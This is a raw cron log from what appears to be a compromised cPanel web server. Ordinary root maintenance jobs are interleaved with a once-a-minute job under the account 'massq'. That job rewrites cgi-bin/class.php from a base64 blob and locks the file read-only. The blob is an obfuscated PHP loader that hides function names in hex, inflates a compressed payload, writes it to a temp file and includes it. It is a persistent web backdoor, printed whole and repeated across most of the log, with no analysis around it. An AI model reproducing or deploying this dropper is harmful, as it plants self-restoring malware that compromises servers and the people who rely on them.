Nov 11 12:15:01 server CROND[5180]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:15:01 server CROND[5181]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov 11 12:15:01 server CROND[5182]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 12:16:01 server CROND[5968]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:17:01 server CROND[6775]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:18:01 server CROND[7589]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:19:01 server CROND[8463]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:20:01 server CROND[9550]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 12:20:01 server CROND[9553]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 12:20:01 server CROND[9555]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 12:20:01 server CROND[9556]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 12:20:01 server CROND[9557]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:21:01 server CROND[10324]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:22:01 server CROND[10532]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:23:01 server CROND[10994]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:24:01 server CROND[11464]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:25:01 server CROND[12213]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 11 12:25:01 server CROND[12214]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 12:25:01 server CROND[12216]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:25:01 server CROND[12215]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 12:26:01 server CROND[13067]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:27:01 server CROND[13811]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:27:01 server CROND[13812]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
